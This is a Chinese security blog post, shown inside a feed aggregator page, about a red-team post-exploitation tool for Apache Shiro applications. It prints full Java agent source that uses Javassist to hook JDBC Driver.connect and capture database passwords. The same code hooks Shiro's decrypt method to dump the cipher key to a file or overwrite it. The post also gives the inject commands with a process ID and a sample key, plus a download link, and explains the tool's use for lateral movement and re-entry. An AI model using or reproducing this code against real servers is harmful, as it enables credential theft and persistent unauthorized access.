惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

A
About on SuperTechFans
Cloudbric
Cloudbric
C
CERT Recently Published Vulnerability Notes
G
GRAHAM CLULEY
V
Vulnerabilities – Threatpost
C
Cisco Blogs
T
Tenable Blog
P
Privacy International News Feed
T
The Exploit Database - CXSecurity.com
I
Intezer
AWS News Blog
AWS News Blog
IT之家
IT之家
博客园 - 司徒正美
C
Cybersecurity and Infrastructure Security Agency CISA
博客园 - 【当耐特】
The Hacker News
The Hacker News
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Spread Privacy
Spread Privacy
S
SegmentFault 最新的问题
博客园 - Franky
人人都是产品经理
人人都是产品经理
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
V
Visual Studio Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
H
Hacker News: Front Page
Latest news
Latest news
Scott Helme
Scott Helme
腾讯CDC
宝玉的分享
宝玉的分享
大猫的无限游戏
大猫的无限游戏
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
A
Arctic Wolf
S
Securelist
雷峰网
雷峰网
The GitHub Blog
The GitHub Blog
Project Zero
Project Zero
Google DeepMind News
Google DeepMind News
P
Palo Alto Networks Blog
F
Fortinet All Blogs
Schneier on Security
Schneier on Security
云风的 BLOG
云风的 BLOG
Security Archives - TechRepublic
Security Archives - TechRepublic
The Last Watchdog
The Last Watchdog
WordPress大学
WordPress大学
MongoDB | Blog
MongoDB | Blog
L
LINUX DO - 最新话题
S
Schneier on Security
NISL@THU
NISL@THU
Jina AI
Jina AI
M
MIT News - Artificial intelligence

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
Shiro后渗透拓展面 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

在shiro利用工具之前是加了个修改key的功能,但这个功能有个遗憾,并不是在所有的中间件是通用的,也是我写shiro工具的一个遗憾吧。之后想过用深度优先算法将这个功能写进去,发现代码工程量太大了,所以不了了之。在前两天看到一个项目whwlsfb/JDumpSpider来的又来了灵感,本来是因为静态分析的工具,深入了解之后,发现这个实现很麻烦,无论从操作角度和实现角度来看。但这两天又看到北辰师傅写的文章从内存中Dump JDBC数据库明文密码,看文章中的仓库源码,发现更简单了。

ps:由于时间关系,短暂的一天左右的时间学习。所以导致可能有些地方不是很严谨,如有错误,还请谅解。


源码阅读学习

第一眼讲仓库git到本地之后发现,这个被北辰师傅写的很简单。短短二百行就实现了Dump数据库密码的功能,项目地址BeichenDream/InjectJDBC,看项目结构也能发现非常的简单。

InjectJDBC
 ├── DatabaseInject.iml
 ├── libs
 │   ├── GenericAgentTools.jar
 │   └── javassist-3.23.1-GA.jar
 ├── README.md
 └── src
     ├── com
     │   └── abc
     │       └── Main.java
     └── META-INF
         └── MANIFEST.MF

GenericAgentTools.jar应该是北辰师傅的另一个项目,javassist-3.23.1-GA.jar这个功能大家应该都知道。这两行是GenericAgentTools.jar中内置的,也能发现被内置好了。

// agent加载到目标jvm的id中
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
// 第一个参数获取新生成的jar包的路径,第二个参数是给agent的jar包的输入参数。
 virtualMachine.loadAgent(getJarFileByClass(Main.class),outFile);

幸好北辰师傅上传代码的时候没有把这个删除掉,不然我可能还要才一波坑。

image-20220308213612045

为什么这么说呢?虽然在整个项目中getMethodSignature没有被调用,但也不能忽视他的作用。比例说红框中的代码,就是得靠getMethodSignature获取到方法的签名。

image-20220308213842668

这里简单说一下大致作用,具体得配合文章从内存中Dump JDBC数据库明文密码才能看懂。

通过循环判断类clazz是否是**Driver.class**的子类、实现类,然后再ClassPool中加入clazz和clazz的类加载器。然后修改对应的connect方法代码,在前面加入自定义的代码。

 				// 判断类clazz是否是Driver.class的子类、实现类
                if (Driver.class.isAssignableFrom(clazz)){
                    ClassPool classPool = new ClassPool(true);
                    // 加入clazz的classpath
                    classPool.insertClassPath(new ClassClassPath(clazz));
                    // 加入类加载器
                    classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader()));
                    CtClass ctClass = classPool.get(clazz.getName());
                    // 获取类中的connect方法
                    CtMethod ctMethod = ctClass.getMethod("connect","(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;");
                    // 修改connect方法,再开头加入自定义代码
                    ctMethod.insertBefore(String.format("                    try {\n" +
                            "                        java.lang.Class.forName(\"%s\",true,java.lang.ClassLoader.getSystemClassLoader()).getMethod(\"add\", new java.lang.Class[]{java.lang.String.class, java.util.Properties.class}).invoke(null,new java.lang.Object[]{$1,$2});\n" +
                            "                    }catch (java.lang.Throwable e){\n" +
                            "                        e.printStackTrace();\n" +
                            "                        \n" +
                            "                    }",Main.class.getName()));

                    inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode()));
                    ctClass.detach();
                }

自定义的代码块调用了agent中的Main.classadd方法,之后的这块可以继续看北辰师傅文章从内存中Dump JDBC数据库明文密码总结一下,大概思路。首先通过agent将目标的接口或者是抽象类hook了,然后对其修改代码逻辑,从而实现的需要实现的目的。并且生成agent已经被北辰师傅集成了,我们无需考虑,这使得我们的工作内容大大的简化了。


shiro后渗透实现

现在我们能hook我们想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。比例说北辰师傅就调用了agent中Main.class的add方法。前面提到我们修改key的功能,并不是通用的,但agent的优势可以完美解决这个问题。


修改shiro的key

在之前的博文中shiro反序列化漏洞攻击拓展面–修改key提到,想要修改掉shiro的key就需要调用内存中的AbstractRememberMeManager对象。调用AbstractRememberMeManager对象的setCipherKey方法,才能实现修改shiro的key的目的。最开始我的想法和北辰师傅一样,调用agent中的某一类的方法。但这导致了一个问题,在agent中,我们无法直接获取实例化AbstractRememberMeManager对象,但其实也有解决方法,使用深度优先算法获取实例化AbstractRememberMeManager对象。这也导致了实现变得很麻烦了,相比北辰师傅的实现就显得很笨重了。所以我放弃了这种方式,我将所有的代码逻辑都加入到AbstractRememberMeManager对象的decrypt方法,其实只需要添加一行代码即可非常的简单。

setCipherKey(org.apache.shiro.codec.Base64.decode(temp));
// temp传入修改的shiro的值

获取shiro的key

为什么我们需要获取shiro的key呢?其实这才是我最开始想做的事情,修改key只是后来想到加上去的。本意和北辰的文章从内存中Dump JDBC数据库明文密码类似,但也有不同的地方。我们来假设一个场景来帮助大家来理解,如果我们一个站点存在shiro,但我们跑不出key。但我们通过了其他RCE或者任意文件上传的手段获取到了shell,这时候我们就可以通过本文中的工具去获取shiro的key值。我们都获取到了shell,为什么还要获取key呢?

  1. 可以方便我们快速的实现内网横向,毕竟shiro这个漏洞利用已经非常非常成熟了。
  2. 可以将这个key加入我们key字典中,方便之后的项目中测试。
  3. 如果我们修改key,但我们一失手忘记掉了key,也还要补救的措施。
  4. 如果点掉了,可以通过shiro这个入口快速重新切进去。

目前我和师傅hl0rey所能想到获取shiro的key的四点价值,这么来看获取key是非常有必要的功能。

具体实现代码其实也非常的简单,最终笔者将北辰师傅获取JDBC字符串、修改key和获取key三个功能整合在了一起,加了一个判断。

fileOutputStream.write(org.apache.shiro.codec.Base64.encodeToString(getDecryptionCipherKey()).getBytes());

最终完整的实现代码如下:

    public static void agentmain(String agentArg, Instrumentation inst){
        arg2 = agentArg;
        Class[] classes  = inst.getAllLoadedClasses();

        for (int i = 0; i < classes.length; i++) {
            Class clazz = classes[i];
            try {
                // 判断类clazz是否是Driver.class的子类、实现类
                if (Driver.class.isAssignableFrom(clazz)){
                    ClassPool classPool = new ClassPool(true);
                    // 加入clazz的classpath
                    classPool.insertClassPath(new ClassClassPath(clazz));
                    // 加入类加载器
                    classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader()));
                    CtClass ctClass = classPool.get(clazz.getName());
                    // 获取类中的connect方法 方法desc有getMethodSignature方法获取
                    CtMethod ctMethod = ctClass.getMethod("connect","(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;");
                    // 修改connect方法,再开头加入自定义代码
                    ctMethod.insertBefore(String.format("                    try {\n" +
                            "                        java.lang.Class.forName(\"%s\",true,java.lang.ClassLoader.getSystemClassLoader()).getMethod(\"add\", new java.lang.Class[]{java.lang.String.class, java.util.Properties.class}).invoke(null,new java.lang.Object[]{$1,$2});\n" +
                            "                    }catch (java.lang.Throwable e){\n" +
//                            "                        e.printStackTrace();\n" +
                            "                        \n" +
                            "                    }",Main.class.getName()));

                    inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode()));
                    ctClass.detach();
                }
            }catch (Throwable e){
                e.printStackTrace();
            }
        }


        Class cls = null;
        try {
            cls = Class.forName("org.apache.shiro.mgt.AbstractRememberMeManager");
            for(int i = 0; i < classes.length; i++) {
                Class clazz = classes[i];
                try {
                    // 判断类clazz是否是org.apache.shiro.mgt.AbstractRememberMeManager.class的子类、实现类
                    if(cls.isAssignableFrom(clazz)){
                        ClassPool classPool = new ClassPool(true);
                        classPool.insertClassPath(new ClassClassPath(clazz));
                        classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader()));
                        CtClass ctClass = classPool.get(clazz.getName());
                        CtMethod ctMethod = ctClass.getMethod("decrypt", "([B)[B");
                        ctMethod.insertBefore(String.format("java.lang.String temp = \"%s\";\n" +
                                "if(temp.endsWith(\"\\.txt\")){" +
                                "try {\n" +
                                "   " +
                                "   java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream(new java.io.File(temp),true);\n" +
                                "   fileOutputStream.write(\"Shiro key: \".getBytes());\n" +
//                                "   java.lang.System.out.println(\"get shiro keying\");\n" +
//                                "   java.lang.System.out.println(org.apache.shiro.codec.Base64.encodeToString(getDecryptionCipherKey()));\n" +
                                "   fileOutputStream.write(org.apache.shiro.codec.Base64.encodeToString(getDecryptionCipherKey()).getBytes());\n" +
                                "   fileOutputStream.write(\"\\n\".getBytes());\n" +
                                "   fileOutputStream.flush();\n" +
                                "   fileOutputStream.close();\n}" +
                                "catch(java.lang.Throwable e){\n" +
//                                " e.printStackTrace();\n" +
                                "}\n}else{\n" +
                                "try{\n" +
                                "setCipherKey(org.apache.shiro.codec.Base64.decode(temp));\n" +
//                                "java.lang.System.out.println(\"set shiro key ing!\");\n}
                                "catch(java.lang.Throwable e){\n" +
//                                "e.printStackTrace();" +
                                "\n}\n}\n",arg2));
                        inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode()));
                        ctClass.detach();
                    }


                }catch (Throwable e){
                    e.printStackTrace();
                }
            }
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

    }


使用方法

本地环境测试DEMO

  1. 首先可以确定环境的key是默认的,并且是可以执行命令的。

image-20220308224448662

image-20220308224621598

  1. 执行命令java -jar AgentInjectTool.jar list,获取环境启动的pid。

image-20220308224738899

  1. 执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}

java -jar AgentInjectTool.jar inject 96864 G:/temp/temp.txt

// 注意一定得使用反斜杠/

image-20220308225003956

触发获取key操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能

image-20220308232335062

java -jar AgentInjectTool.jar inject 96864 ES2ZK5q7qgNrkigR4EmGNg==

image-20220308232433218

image-20220308232505324

使用获取key功能

image-20220308232609815

ps: 工具下载地址https://github.com/SummerSec/AgentInjectTool


总结

之前北辰师傅的几个项目我还不太看懂,这次也学习到了很多。也算看明白了一点点,我和北辰之间的差距无法跨越。最后这个项目也可能是作为红队攻防项目的最后一个吧,之后可能不会在写这种项目,或者说工具了。还有其他的几个自己开的项目,估计也维护不了,抱歉了各位。。。


参考

https://github.com/BeichenDream/InjectJDBC

https://mp.weixin.qq.com/s/QCfqO2BJuhSOr58rldZzxA